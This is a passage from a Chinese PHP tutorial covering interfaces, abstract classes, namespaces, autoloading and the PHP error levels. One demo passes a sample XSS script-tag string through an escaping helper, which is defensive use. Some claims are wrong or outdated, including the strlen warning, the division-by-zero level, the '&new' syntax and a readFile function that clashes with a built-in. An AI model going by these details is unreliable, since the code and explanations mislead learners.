        if (isset($options[$months])) {
            $totalAmount = $options[$months];
            $monthly = $totalAmount / $months;
            echo "信用卡分期{$months}期,每期¥" . round($monthly, 2) . "\n";
            return $this->processPayment($totalAmount);
        }
        return false;
    }
}

// 支付宝支付
class AlipayPayment extends PaymentMethod implements Refundable {
    private $accountId;

    public function __construct($accountId) {
        parent::__construct("支付宝");
        $this->accountId = $accountId;
    }

    protected function doPayment($amount) {
        echo "支付宝账号 {$this->accountId} 支付 ¥{$amount}\n";
        return true;
    }

    public function refund($amount) {
        if ($this->canRefund()) {
            echo "退款 ¥{$amount} 到支付宝 {$this->accountId}\n";
            $this->setStatus('refunded');
            return true;
        }
        return false;
    }

    public function canRefund() {
        return $this->getStatus() === 'completed';
    }

    public function getRefundPolicy() {
        return "支持即时退款";
    }
}

// 支付管理器
class PaymentManager {
    private $paymentMethods = [];

    public function addPaymentMethod(PaymentMethod $method) {
        $this->paymentMethods[] = $method;
    }

    public function processPayment($methodIndex, $amount) {
        if (isset($this->paymentMethods[$methodIndex])) {
            return $this->paymentMethods[$methodIndex]->processPayment($amount);
        }
        throw new Exception("支付方式不存在");
    }

    public function processRefund($methodIndex, $amount) {
        if (isset($this->paymentMethods[$methodIndex])) {
            $method = $this->paymentMethods[$methodIndex];
            if ($method instanceof Refundable) {
                return $method->refund($amount);
            }
            throw new Exception("该支付方式不支持退款");
        }
        throw new Exception("支付方式不存在");
    }

    public function showInstallmentOptions($methodIndex, $amount) {
        if (isset($this->paymentMethods[$methodIndex])) {
            $method = $this->paymentMethods[$methodIndex];
            if ($method instanceof SupportsInstallment) {
                $options = $method->getInstallmentOptions($amount);
                echo "分期选项:\n";
                foreach ($options as $months => $totalAmount) {
                    $monthly = $totalAmount / $months;
                    echo "  {$months}期:每期¥" . round($monthly, 2) . ",总计¥{$totalAmount}\n";
                }
                return $options;
            }
            echo "该支付方式不支持分期\n";
        }
        return null;
    }
}

// 使用示例
echo "=== 支付系统演示 ===\n";

$manager = new PaymentManager();
$manager->addPaymentMethod(new CreditCardPayment("1234-5678-9012-3456", 10000));
$manager->addPaymentMethod(new AlipayPayment("user@example.com"));

// 信用卡支付
echo "--- 信用卡支付 ---\n";
$manager->processPayment(0, 1000);
$manager->processRefund(0, 500);

// 分期选项
echo "\n--- 分期选项 ---\n";
$manager->showInstallmentOptions(0, 6000);
$manager->processPayment(0, 6000);  // 这里会调用分期的实现

// 支付宝支付
echo "\n--- 支付宝支付 ---\n";
$manager->processPayment(1, 800);
$manager->processRefund(1, 300);

// 支付宝不支持分期
echo "\n--- 支付宝分期 ---\n";
$manager->showInstallmentOptions(1, 1000);
?>

设计原则和最佳实践

1. 接口隔离原则(ISP)

<?php
// 避免大而全的接口
interface BadAnimalInterface {
    public function fly();
    public function swim();
    public function run();
    public function bark();
    public function meow();
}

// 使用小而专一的接口
interface Flyable {
    public function fly();
}

interface Swimmable {
    public function swim();
}

interface Runnable {
    public function run();
}

interface Vocal {
    public function makeSound();
}

// 根据需要实现相应接口
class Bird implements Flyable, Vocal {
    public function fly() {
        echo "鸟儿在飞翔\n";
    }

    public function makeSound() {
        echo "鸟儿在歌唱\n";
    }
}

class Fish implements Swimmable {
    public function swim() {
        echo "鱼儿在游泳\n";
    }
}

class Dog implements Runnable, Vocal {
    public function run() {
        echo "狗在奔跑\n";
    }

    public function makeSound() {
        echo "狗在汪汪叫\n";
    }
}
?>

2. 选择抽象类还是接口

<?php
// 使用抽象类的场景:
// 1. 需要共享代码
// 2. 需要定义属性
// 3. 需要提供部分默认实现
abstract class DatabaseConnection {
    protected $host;
    protected $username;
    protected $password;
    protected $connection;

    public function __construct($host, $username, $password) {
        $this->host = $host;
        $this->username = $username;
        $this->password = $password;
    }

    // 具体的通用方法
    public function testConnection() {
        try {
            $this->connect();
            echo "连接测试成功\n";
            $this->disconnect();
            return true;
        } catch (Exception $e) {
            echo "连接测试失败:" . $e->getMessage() . "\n";
            return false;
        }
    }

    // 抽象方法,由子类实现
    abstract protected function connect();
    abstract protected function disconnect();
    abstract public function query($sql);
}

// 使用接口的场景:
// 1. 定义行为契约
// 2. 支持多重继承
// 3. 跨类层次结构
interface Cacheable {
    public function get($key);
    public function set($key, $value, $ttl = 3600);
    public function delete($key);
    public function clear();
}

interface Loggable {
    public function log($message, $level = 'info');
}

// 可以同时实现多个接口
class RedisCache implements Cacheable, Loggable {
    // 实现所有接口方法
}

class FileCache implements Cacheable {
    // 只实现需要的接口
}
?>

3. 模板方法模式

<?php
// 使用抽象类实现模板方法模式
abstract class DataProcessor {
    // 模板方法:定义算法骨架
    public function process($data) {
        $data = $this->validateData($data);
        $data = $this->transformData($data);
        $result = $this->saveData($data);
        $this->notifyCompletion($result);
        return $result;
    }

    // 具体方法:通用实现
    protected function validateData($data) {
        if (empty($data)) {
            throw new Exception("数据不能为空");
        }
        echo "数据验证通过\n";
        return $data;
    }

    protected function notifyCompletion($result) {
        echo "数据处理完成\n";
    }

    // 抽象方法:子类实现
    abstract protected function transformData($data);
    abstract protected function saveData($data);
}

class XMLProcessor extends DataProcessor {
    protected function transformData($data) {
        echo "将数据转换为XML格式\n";
        return "<data>" . htmlspecialchars($data) . "</data>";
    }

    protected function saveData($data) {
        echo "保存XML数据到文件\n";
        return true;
    }
}

class JSONProcessor extends DataProcessor {
    protected function transformData($data) {
        echo "将数据转换为JSON格式\n";
        return json_encode(['content' => $data]);
    }

    protected function saveData($data) {
        echo "保存JSON数据到数据库\n";
        return true;
    }
}

// 使用示例
$xmlProcessor = new XMLProcessor();
$xmlProcessor->process("测试数据");

$jsonProcessor = new JSONProcessor();
$jsonProcessor->process("测试数据");
?>

通过本节的学习,你应该掌握了抽象类和接口的概念、区别以及应用场景。抽象类适合定义通用模板和共享代码,而接口适合定义行为契约和实现多重继承。在实际开发中,合理使用抽象类和接口可以让代码更加灵活、可扩展和易于维护。

命名空间

什么是命名空间

命名空间(Namespace)是PHP 5.3.0引入的一个重要特性,它允许我们将相关的类、接口、函数和常量组织在一起,避免命名冲突,提高代码的可维护性和可重用性。

为什么需要命名空间

  1. 避免命名冲突:不同的库可能有同名的类
  2. 组织代码结构:逻辑上组织相关的代码
  3. 提高可读性:明确标识代码的来源和用途
  4. 支持自动加载:与现代框架的自动加载机制配合

命名空间的现实比喻

可以把命名空间比作文件系统的目录结构:

/(全局空间)
├── App/
│   ├── Controllers/
│   │   └── UserController.php
│   ├── Models/
│   │   └── User.php
│   └── Services/
│       └── UserService.php
└── Vendor/
    └── Framework/
        └── Database/
            └── Connection.php

基本语法

定义命名空间

<?php
// 定义命名空间
namespace App\Controllers;

class UserController {
    public function index() {
        echo "用户列表页面";
    }
}

// 在同一文件中定义多个命名空间(不推荐)
namespace App\Models;
class User {
    public $name;
    public $email;
}

namespace App\Services;
class UserService {
    public function createUser($data) {
        echo "创建用户";
    }
}
?>

子命名空间

<?php
// 多级命名空间
namespace App\Http\Controllers\Admin;

class AdminController {
    public function dashboard() {
        echo "管理员仪表板";
    }
}

namespace App\Http\Controllers\API;
class APIController {
    public function users() {
        echo "API用户接口";
    }
}
?>

使用命名空间

完全限定名称

<?php
// 文件: src/Models/User.php
namespace App\Models;

class User {
    public function __construct() {
        echo "App\Models\User 被创建\n";
    }
}

// 文件: index.php
require_once 'src/Models/User.php';

// 使用完全限定名称(反斜杠开头)
$user = new \App\Models\User();
?>

限定名称

<?php
namespace App\Controllers;

// 引入其他命名空间的类
use App\Models\User;

class UserController {
    public function show($id) {
        // 使用限定名称
        $user = new \App\Models\User();
        return $user;
    }
}
?>

非限定名称

<?php
namespace App\Controllers;

use App\Models\User;

class UserController {
    public function create() {
        // 使用非限定名称(当前命名空间)
        $user = new User();  // 相当于 \App\Models\User
        return $user;
    }
}
?>

use 关键字

导入单个类

<?php
namespace App\Http\Controllers;

// 导入单个类
use App\Models\User;
use App\Services\UserService;

class UserController {
    private $userService;

    public function __construct() {
        $this->userService = new UserService();
    }

    public function index() {
        $users = User::all();
        return view('users.index', compact('users'));
    }
}
?>

别名(as)

<?php
namespace App\Http\Controllers;

// 使用别名
use App\Models\User as UserModel;
use App\Services\UserService as UserMgr;

class UserController {
    public function store() {
        // 使用别名创建对象
        $user = new UserModel();
        $manager = new UserMgr();

        return $user;
    }
}
?>

导入函数和常量

<?php
namespace MyProject;

// 导入函数
use function Vendor\Library\helper_function;
// 导入常量
use const Vendor\Library\CONSTANT_VALUE;

class MyClass {
    public function test() {
        // 使用导入的函数
        $result = helper_function();
        // 使用导入的常量
        echo CONSTANT_VALUE;
    }
}
?>

实际项目结构示例

目录结构

project/
├── app/
│   ├── Controllers/
│   │   ├── BaseController.php
│   │   └── UserController.php
│   ├── Models/
│   │   └── User.php
│   ├── Services/
│   │   └── UserService.php
│   └── Utils/
│       └── Helper.php
├── vendor/
│   └── framework/
│       └── Database/
│           ├── Connection.php
│           └── QueryBuilder.php
└── index.php

完整示例代码

<?php
// 文件: app/Models/User.php
namespace App\Models;

class User {
    private $id;
    private $name;
    private $email;

    public function __construct($name, $email) {
        $this->name = $name;
        $this->email = $email;
        echo "创建用户: {$name}\n";
    }

    public function getName() {
        return $this->name;
    }

    public function getEmail() {
        return $this->email;
    }

    public function toArray() {
        return [
            'name' => $this->name,
            'email' => $this->email
        ];
    }
}
?>

<?php
// 文件: app/Services/UserService.php
namespace App\Services;

use App\Models\User;

class UserService {
    private $users = [];

    public function createUser($name, $email) {
        $user = new User($name, $email);
        $this->users[] = $user;
        return $user;
    }

    public function findUserByEmail($email) {
        foreach ($this->users as $user) {
            if ($user->getEmail() === $email) {
                return $user;
            }
        }
        return null;
    }

    public function getAllUsers() {
        return $this->users;
    }

    public function getUserCount() {
        return count($this->users);
    }
}
?>

<?php
// 文件: app/Controllers/BaseController.php
namespace App\Controllers;

abstract class BaseController {
    protected function view($template, $data = []) {
        echo "渲染视图: {$template}\n";
        if (!empty($data)) {
            echo "数据: " . json_encode($data) . "\n";
        }
    }

    protected function json($data, $status = 200) {
        echo "JSON响应: " . json_encode($data) . "\n";
    }

    protected function redirect($url) {
        echo "重定向到: {$url}\n";
    }
}
?>

<?php
// 文件: app/Controllers/UserController.php
namespace App\Controllers;

use App\Services\UserService;

class UserController extends BaseController {
    private $userService;

    public function __construct() {
        $this->userService = new UserService();
    }

    public function index() {
        $users = $this->userService->getAllUsers();
        $this->view('users.index', ['users' => $users]);
    }

    public function create() {
        $this->view('users.create');
    }

    public function store($name, $email) {
        $user = $this->userService->createUser($name, $email);
        $this->json(['message' => '用户创建成功', 'user' => $user->toArray()]);
    }

    public function show($email) {
        $user = $this->userService->findUserByEmail($email);
        if ($user) {
            $this->view('users.show', ['user' => $user->toArray()]);
        } else {
            $this->json(['error' => '用户未找到'], 404);
        }
    }

    public function stats() {
        $count = $this->userService->getUserCount();
        $this->json(['total_users' => $count]);
    }
}
?>

<?php
// 文件: vendor/framework/Database/Connection.php
namespace Framework\Database;

class Connection {
    private $host;
    private $database;
    private $connection;

    public function __construct($host, $database) {
        $this->host = $host;
        $this->database = $database;
        echo "数据库连接: {$host}/{$database}\n";
    }

    public function query($sql) {
        echo "执行SQL: {$sql}\n";
        return ['result' => 'success'];
    }

    public function close() {
        echo "关闭数据库连接\n";
    }
}
?>

<?php
// 文件: app/Utils/Helper.php
namespace App\Utils;

class Helper {
    public static function formatName($name) {
        return ucwords(strtolower($name));
    }

    public static function validateEmail($email) {
        return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
    }

    public static function generateToken() {
        return bin2hex(random_bytes(16));
    }

    public static function sanitize($input) {
        return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
    }
}
?>

<?php
// 文件: index.php
require_once 'app/Models/User.php';
require_once 'app/Services/UserService.php';
require_once 'app/Controllers/BaseController.php';
require_once 'app/Controllers/UserController.php';
require_once 'vendor/framework/Database/Connection.php';
require_once 'app/Utils/Helper.php';

// 使用导入
use App\Controllers\UserController;
use Framework\Database\Connection;
use App\Utils\Helper;

echo "=== 应用程序演示 ===\n\n";

// 初始化数据库连接
$db = new Connection('localhost', 'myapp');

// 创建控制器
$controller = new UserController();

// 创建用户
echo "--- 创建用户 ---\n";
$controller->store('张三', 'zhangsan@example.com');
$controller->store('李四', 'lisi@example.com');
$controller->store('王五', 'wangwu@example.com');

echo "\n--- 用户列表 ---\n";
$controller->index();

echo "\n--- 查看用户 ---\n";
$controller->show('lisi@example.com');

echo "\n--- 用户统计 ---\n";
$controller->stats();

echo "\n--- 工具函数演示 ---\n";
echo "格式化姓名: " . Helper::formatName('john doe') . "\n";
echo "邮箱验证: " . (Helper::validateEmail('test@example.com') ? '有效' : '无效') . "\n";
echo "生成Token: " . Helper::generateToken() . "\n";
echo "清理数据: " . Helper::sanitize("  <script>alert('xss')</script>  ") . "\n";

$db->close();
?>

全局命名空间

访问全局类和函数

<?php
namespace App\Controllers;

class TestController {
    public function testGlobalClasses() {
        // 访问全局类需要加反斜杠
        $datetime = new \DateTime();
        $exception = new \Exception('测试异常');

        // 访问全局函数
        $result = \strlen('hello world');

        // 访问全局常量
        echo PHP_VERSION;
    }
}
?>

在全局命名空间中定义元素

<?php
// 在全局命名空间中定义
class GlobalClass {
    public function sayHello() {
        echo "Hello from global class!\n";
    }
}

function globalFunction() {
    echo "Hello from global function!\n";
}

const GLOBAL_CONSTANT = 'Global value';

// 在其他命名空间中使用
namespace App\Something;

class Test {
    public function useGlobal() {
        // 访问全局命名空间的元素
        $obj = new \GlobalClass();
        \globalFunction();
        echo \GLOBAL_CONSTANT;
    }
}
?>

自动加载与命名空间

PSR-4 自动加载标准

<?php
// 文件: autoload.php
spl_autoload_register(function ($className) {
    // 将命名空间转换为文件路径
    // App\Controllers\UserController => src/Controllers/UserController.php

    $className = ltrim($className, '\\');
    $fileName = '';
    $namespace = '';

    if ($lastNsPos = strrpos($className, '\\')) {
        $namespace = substr($className, 0, $lastNsPos);
        $className = substr($className, $lastNsPos + 1);
        $fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
    }

    $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';

    $filePath = __DIR__ . '/src/' . $fileName;

    if (file_exists($filePath)) {
        require $filePath;
    }
});

// 使用自动加载
spl_autoload_register(function ($class) {
    $prefix = 'App\\';
    $base_dir = __DIR__ . '/src/';

    $len = strlen($prefix);
    if (strncmp($prefix, $class, $len) !== 0) {
        return;
    }

    $relative_class = substr($class, $len);
    $file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';

    if (file_exists($file)) {
        require $file;
    }
});
?>

Composer 自动加载

// composer.json
{
    "autoload": {
        "psr-4": {
            "App\\": "src/",
            "Framework\\": "vendor/framework/src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    }
}

最佳实践

1. 命名空间命名规范

<?php
// 好的命名空间命名
namespace MyApp\Controllers\Admin;
namespace Vendor\Library\Database;
namespace Acme\Services\Payment;

// 避免的命名
namespace stuff;           // 太短,不够描述性
namespace very_long_namespace_name_that_is_hard_to_type;  // 太长
?>

2. 文件组织结构

src/
├── Acme/
│   ├── Blog/
│   │   ├── Controllers/
│   │   │   ├── PostController.php
│   │   │   └── CommentController.php
│   │   ├── Models/
│   │   │   ├── Post.php
│   │   │   └── Comment.php
│   │   └── Services/
│   │       └── BlogService.php
│   └── User/
│       ├── Models/
│       │   └── User.php
│       └── Services/
│           └── UserService.php

3. 导入最佳实践

<?php
namespace Acme\Blog\Controllers;

// 1. 在文件顶部导入所有需要的类
use Acme\Blog\Models\Post;
use Acme\Blog\Models\Comment;
use Acme\Blog\Services\BlogService;
use Acme\User\Services\AuthService;
use Acme\Framework\Http\Request;
use Acme\Framework\Http\Response;

// 2. 使用有意义的别名避免冲突
use Acme\Blog\Models\Post as BlogPost;
use Acme\Forum\Models\Post as ForumPost;

// 3. 按类型分组导入
// Framework classes
use Acme\Framework\Http\Request;
use Acme\Framework\Http\Response;
use Acme\Framework\View\View;

// Application models
use Acme\Blog\Models\Post;
use Acme\Blog\Models\Comment;
use Acme\User\Models\User;

// Application services
use Acme\Blog\Services\BlogService;
use Acme\User\Services\AuthService;

class PostController {
    // 实现...
}
?>

4. 避免过度嵌套

<?php
// 过度嵌套(不推荐)
namespace Company\Project\Module\Submodule\Feature\Type;

// 合理的嵌套(推荐)
namespace Company\Project\Module;
?>

常见问题与解决方案

1. 类未找到错误

<?php
// 错误:Class 'App\Models\User' not found
// 解决:检查命名空间和文件路径是否匹配

// 确保文件在正确的路径
// src/Models/User.php

// 确保命名空间声明正确
namespace App\Models;

class User {
    // ...
}
?>

2. 命名冲突解决

<?php
use App\Models\User as AppUser;
use Vendor\Library\User as VendorUser;

class UserController {
    public function compareUsers() {
        $appUser = new AppUser();
        $vendorUser = new VendorUser();

        return $appUser;
    }
}
?>

3. 全局函数访问

<?php
namespace App\Utils;

class StringHelper {
    public function truncate($string, $length) {
        // 明确使用全局函数
        return substr($string, 0, $length);
    }

    public function jsonEncode($data) {
        // 使用全局函数
        return \json_encode($data, JSON_UNESCAPED_UNICODE);
    }
}
?>

通过本节的学习,你应该掌握了PHP命名空间的概念、语法和最佳实践。命名空间是现代PHP开发的重要特性,它帮助你组织代码、避免命名冲突,并支持自动加载机制。在实际项目中,合理使用命名空间可以让代码更加清晰、可维护和可扩展。

第14章:错误与异常处理

概述

在程序开发过程中,错误和异常是不可避免的。学会正确处理错误和异常是编写健壮、可靠PHP应用程序的关键技能。本章将详细介绍PHP中的错误类型、异常处理机制以及调试技巧,帮助你构建更加稳定的应用程序。

学习目标

通过本章的学习,你将掌握:

  • PHP中不同类型的错误及其特点
  • 如何配置错误报告和日志记录
  • 异常处理的基本语法和高级特性
  • 自定义异常类的设计和使用
  • 有效的调试技巧和工具
  • 错误处理的最佳实践

章节结构

本章包含三个主要部分:

  1. 错误类型 - 了解PHP中的各种错误类型和错误处理机制
  2. 异常处理机制 - 掌握面向对象的异常处理方法
  3. 调试技巧 - 学习实用的调试方法和工具

为什么错误处理如此重要?

1. 提升用户体验

良好的错误处理可以确保用户在遇到问题时得到友好的提示,而不是技术性的错误信息。

2. 便于维护和调试

合适的错误处理可以帮助开发者快速定位问题,减少调试时间。

3. 增强系统稳定性

通过处理各种异常情况,确保程序在遇到错误时能够优雅地恢复或终止。

4. 安全性考虑

合理的错误处理可以避免敏感信息泄露,提高应用程序的安全性。

错误处理 vs 异常处理

在PHP中,有两种主要的错误处理机制:

方面传统错误处理异常处理
处理方式错误处理器、错误报告try-catch-finally 块
可控性全局控制,影响整个脚本局部控制,可精确到代码块
面向对象非面向对象面向对象
信息详细度相对简单详细的堆栈跟踪和上下文
恢复能力通常不可恢复可以捕获并恢复

现代PHP开发中,推荐使用异常处理机制,因为它提供了更好的控制能力和更丰富的错误信息。

本章学习建议

1. 理论结合实践

不要只是阅读代码,要动手实践每个示例,尝试修改和扩展它们。

2. 渐进式学习

从基础的错误类型开始,逐步学习更复杂的异常处理和调试技巧。

3. 建立错误处理意识

在日常编码中养成错误处理的好习惯,提前考虑可能出现的问题。

4. 实际项目应用

在实际项目中运用所学知识,根据项目需求选择合适的错误处理策略。

准备开始

在开始学习本章之前,建议你:

  1. 确保已掌握PHP的基础语法
  2. 了解面向对象编程的基本概念
  3. 准备一个可以运行PHP代码的环境

让我们开始学习PHP的错误与异常处理,构建更加健壮的应用程序!

错误类型

什么是错误

在PHP程序运行过程中,可能会出现各种各样的问题,这些问题我们统称为"错误"。理解不同类型的错误对于编写健壮的PHP应用程序至关重要。

错误是指程序在执行过程中遇到的问题,这些问题可能导致程序无法正常执行或产生意外的结果。

PHP错误级别

PHP定义了多种错误级别,每种级别代表了不同严重程度的问题:

1. 致命错误(Fatal Errors)

致命错误会导致程序立即终止执行,无法继续运行。

<?php
// 致命错误示例1:调用不存在的函数
echo "程序开始执行\n";
$result = undefined_function(); // 致命错误:函数不存在
echo "这行不会执行\n";  // 这行永远不会执行
?>

<?php
// 致命错误示例2:访问不存在的类
$obj = new NonExistentClass(); // 致命错误:类不存在
?>

<?php
// 致命错误示例3:包含不存在的文件(require)
require 'non_existent_file.php'; // 致命错误,程序终止
echo "程序继续"; // 不会执行
?>

2. 警告错误(Warnings)

警告错误不会终止程序执行,但提示程序可能存在问题。

<?php
// 警告示例1:包含不存在的文件(include)
echo "程序开始执行\n";
include 'non_existent_file.php'; // 警告:文件不存在,但程序继续
echo "程序继续执行\n"; // 这行会执行
?>

<?php
// 警告示例2:错误的参数类型
echo strlen(123); // 警告:期望字符串,但传入了整数
echo "程序继续\n"; // 程序继续执行
?>

<?php
// 警告示例3:使用未定义的变量
echo $undefined_variable; // 警告:变量未定义
echo "程序继续\n";
?>

3. 通知错误(Notices)

通知错误表示程序存在轻微问题,通常不会影响程序执行。

<?php
// 通知示例1:使用未定义的数组索引
$array = ['a' => 1];
echo $array['b']; // 通知:索引 'b' 不存在
echo "程序继续\n";
?>

<?php
// 通知示例2:除以零
echo 10 / 0; // 通知:除以零,返回INF或false
echo "程序继续\n";
?>

4. 弃用错误(Deprecated)

弃用错误表示使用了在未来版本中可能会被移除的功能。

<?php
// 弃用示例:使用已弃用的函数
$result = ereg("pattern", "string"); // 弃用:ereg函数在PHP 7.0+中被移除

// 弃用示例:使用已弃用的语法
$object = &new stdClass(); // 弃用:引用语法已弃用
?>

错误报告级别

PHP提供了常量来表示不同的错误级别:

<?php
// 常用错误级别常量
echo E_ERROR;           // 1  - 致命错误
echo E_WARNING;         // 2  - 警告
echo E_PARSE;           // 4  - 编译时解析错误
echo E_NOTICE;          // 8  - 通知
echo E_CORE_ERROR;      // 16 - PHP启动时的致命错误
echo E_CORE_WARNING;    // 32 - PHP启动时的警告
echo E_COMPILE_ERROR;   // 64 - 编译时的致命错误
echo E_COMPILE_WARNING; // 128- 编译时的警告
echo E_USER_ERROR;      // 256- 用户定义的致命错误
echo E_USER_WARNING;    // 512- 用户定义的警告
echo E_USER_NOTICE;     // 1024- 用户定义的通知
echo E_STRICT;          // 2048- 严格标准化建议
echo E_RECOVERABLE_ERROR; // 4096- 可捕获的致命错误
echo E_DEPRECATED;      // 8192- 弃用警告
echo E_USER_DEPRECATED; // 16384- 用户定义的弃用警告
echo E_ALL;             // 32767- 所有错误
?>

配置错误报告

在php.ini中配置

; 错误报告设置
error_reporting = E_ALL & ~E_DEPRECATED
display_errors = On          ; 开发环境显示错误
display_errors = Off         ; 生产环境不显示错误
log_errors = On              ; 记录错误到日志
error_log = /var/log/php_errors.log  ; 错误日志文件路径

; 常见配置组合
; 开发环境
error_reporting = E_ALL
display_errors = On
log_errors = On

; 生产环境
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
display_errors = Off
log_errors = On

在代码中配置

<?php
// 设置错误报告级别
error_reporting(E_ALL);                 // 报告所有错误
error_reporting(E_ALL & ~E_NOTICE);     // 报告除通知外的所有错误
error_reporting(0);                     // 关闭所有错误报告

// 显示错误
ini_set('display_errors', 1);          // 开启错误显示
ini_set('display_errors', 0);          // 关闭错误显示

// 记录错误
ini_set('log_errors', 1);              // 开启错误日志
ini_set('error_log', 'my_errors.log'); // 设置错误日志文件

// 动态配置示例
function setEnvironmentErrorReporting($environment) {
    switch ($environment) {
        case 'development':
            error_reporting(E_ALL);
            ini_set('display_errors', 1);
            ini_set('log_errors', 1);
            break;
        case 'testing':
            error_reporting(E_ALL & ~E_DEPRECATED);
            ini_set('display_errors', 1);
            ini_set('log_errors', 1);
            break;
        case 'production':
            error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);
            ini_set('display_errors', 0);
            ini_set('log_errors', 1);
            break;
    }
}

// 使用示例
setEnvironmentErrorReporting('development');
?>

常见错误类型详解

1. 语法错误(Parse Errors)

语法错误是最基础的错误类型,通常在代码执行前就会被检测到。

<?php
// 缺少分号
echo "Hello World"  // Parse error: syntax error, unexpected 'echo'

// 缺少引号
echo "Hello World;  // Parse error: syntax error, unexpected end of file

// 括号不匹配
if ($condition {  // Parse error: syntax error, unexpected '{'
    echo "condition true";
}

// 错误的类定义
class MyClass {     // Parse error: syntax error, unexpected end of file
    public $property

    public function method() {
        echo "method";
    }
}
?>

2. 逻辑错误(Logical Errors)

逻辑错误不会产生错误信息,但程序的行为不符合预期。

<?php
// 逻辑错误示例1:条件判断错误
function isAdult($age) {
    return $age > 18;  // 错误:应该是 >= 18
}

// 逻辑错误示例2:循环条件错误
function printNumbers($n) {
    for ($i = 0; $i <= $n; $i++) {  // 错误:应该是 < $n
        echo $i . " ";
    }
}

// 逻辑错误示例3:数组索引错误
function getFirstElement($array) {
    return $array[1];  // 错误:应该是 $array[0]
}

// 逻辑错误示例4:字符串连接错误
function createFullName($firstName, $lastName) {
    return $firstName + $lastName;  // 错误:应该使用 . 连接
}

// 调试逻辑错误的方法
function safeDivide($a, $b) {
    if ($b == 0) {
        echo "错误:除数不能为零\n";
        return false;
    }
    return $a / $b;
}

// 使用断言来检测逻辑错误
function calculateDiscount($amount, $discount) {
    assert($amount >= 0, "金额必须大于等于0");
    assert($discount >= 0 && $discount <= 100, "折扣必须在0-100之间");

    return $amount * ($discount / 100);
}
?>

3. 运行时错误(Runtime Errors)

运行时错误在程序执行过程中发生。

<?php
// 运行时错误示例1:除以零
function divide($a, $b) {
    if ($b == 0) {
        trigger_error("除数不能为零", E_USER_WARNING);
        return false;
    }
    return $a / $b;
}

// 运行时错误示例2:内存不足
function processLargeData() {
    // 尝试分配过多内存
    $largeArray = array_fill(0, 10000000, "large string");
}

// 运行时错误示例3:文件操作错误
function readFile($filename) {
    $handle = fopen($filename, 'r');
    if (!$handle) {
        trigger_error("无法打开文件: $filename", E_USER_WARNING);
        return false;
    }

    $content = fread($handle, filesize($filename));
    fclose($handle);
    return $content;
}

// 运行时错误示例4:数据库连接错误
function connectToDatabase() {
    $conn = mysqli_connect("invalid_host", "user", "password", "database");
    if (!$conn) {
        trigger_error("数据库连接失败: " . mysqli_connect_error(), E_USER_ERROR);
        return false;
    }
    return $conn;
}
?>

错误处理函数

trigger_error() - 触发用户定义的错误

<?php
function validateEmail($email) {
    if (empty($email)) {
        trigger_error("邮箱地址不能为空", E_USER_WARNING);
        return false;
    }

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        trigger_error("邮箱地址格式不正确: $email", E_USER_WARNING);
        return false;
    }

    return true;
}

function processUserRegistration($userData) {
    // 验证必填字段
    if (!isset($userData['name'])) {
        trigger_error("用户名是必填字段", E_USER_ERROR);
    }

    if (!isset($userData['email'])) {
        trigger_error("邮箱是必填字段", E_USER_ERROR);
    }

    // 验证邮箱格式
    if (!validateEmail($userData['email'])) {
        trigger_error("注册失败:邮箱验证错误", E_USER_NOTICE);
        return false;
    }

    echo "用户注册成功\n";
    return true;
}

// 使用示例
$userData = [
    'name' => '',
    'email' => 'invalid-email'
];

processUserRegistration($userData);
?>

set_error_handler() - 自定义错误处理

<?php
// 自定义错误处理函数
function customErrorHandler($errno, $errstr, $errfile, $errline) {
    $errorType = [
        E_ERROR => 'Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_USER_ERROR => 'User Error',
        E_USER_WARNING => 'User Warning',
        E_USER_NOTICE => 'User Notice'
    ];

    $type = isset($errorType[$errno]) ? $errorType[$errno] : 'Unknown';

    $message = sprintf(
        "[%s] %s: %s in %s on line %d\n",
        date('Y-m-d H:i:s'),
        $type,
        $errstr,
        $errfile,
        $errline
    );

    // 记录到日志文件
    file_put_contents('error.log', $message, FILE_APPEND);

    // 根据错误类型决定是否显示错误
    if (in_array($errno, [E_ERROR, E_USER_ERROR])) {
        echo "系统发生错误,请联系管理员";
    } else {
        echo $message;  // 开发环境显示详细错误
    }

    // 返回true表示已处理错误,不再使用PHP默认处理
    return true;
}

// 设置自定义错误处理函数
set_error_handler('customErrorHandler');

// 测试错误处理
echo $undefinedVariable;  // 触发通知错误
echo 10 / 0;              // 触发警告错误
trigger_error("测试用户错误", E_USER_ERROR);
?>

restore_error_handler() - 恢复默认错误处理

<?php
function temporaryErrorHandler($errno, $errstr, $errfile, $errline) {
    echo "临时错误处理器: $errstr\n";
    return true;
}

// 设置临时错误处理器
set_error_handler('temporaryErrorHandler');

echo $undefinedVar;  // 使用临时错误处理器

// 恢复默认错误处理器
restore_error_handler();

echo $anotherUndefinedVar;  // 使用默认错误处理器
?>

错误日志记录

记录到文件

<?php
function logError($message, $level = 'ERROR') {
    $timestamp = date('Y-m-d H:i:s');
    $logMessage = "[$timestamp] [$level] $message\n";

    // 确保日志目录存在
    $logDir = 'logs';
    if (!is_dir($logDir)) {
        mkdir($logDir, 0755, true);
    }

    // 写入日志文件
    $logFile = $logDir . '/app_' . date('Y-m-d') . '.log';
    file_put_contents($logFile, $logMessage, FILE_APPEND | LOCK_EX);
}

function logErrorWithContext($errno, $errstr, $errfile, $errline) {
    $context = [
        'timestamp' => date('Y-m-d H:i:s'),
        'level' => $errno,
        'message' => $errstr,
        'file' => $errfile,
        'line' => $errline,
        'url' => $_SERVER['REQUEST_URI'] ?? 'CLI',
        'method' => $_SERVER['REQUEST_METHOD'] ?? 'CLI',
        'ip' => $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1'
    ];

    $logMessage = json_encode($context, JSON_UNESCAPED_UNICODE) . "\n";
    file_put_contents('logs/context_errors.log', $logMessage, FILE_APPEND);
}

// 使用示例
logError("用户登录失败", "WARNING");
logError("数据库连接超时", "ERROR");

// 设置错误处理器记录详细错误
set_error_handler('logErrorWithContext');
?>

错误日志轮转

<?php
class ErrorLogger {
    private $logDir;
    private $maxFileSize;
    private $maxFiles;

    public function __construct($logDir = 'logs', $maxFileSize = 10485760, $maxFiles = 10) {
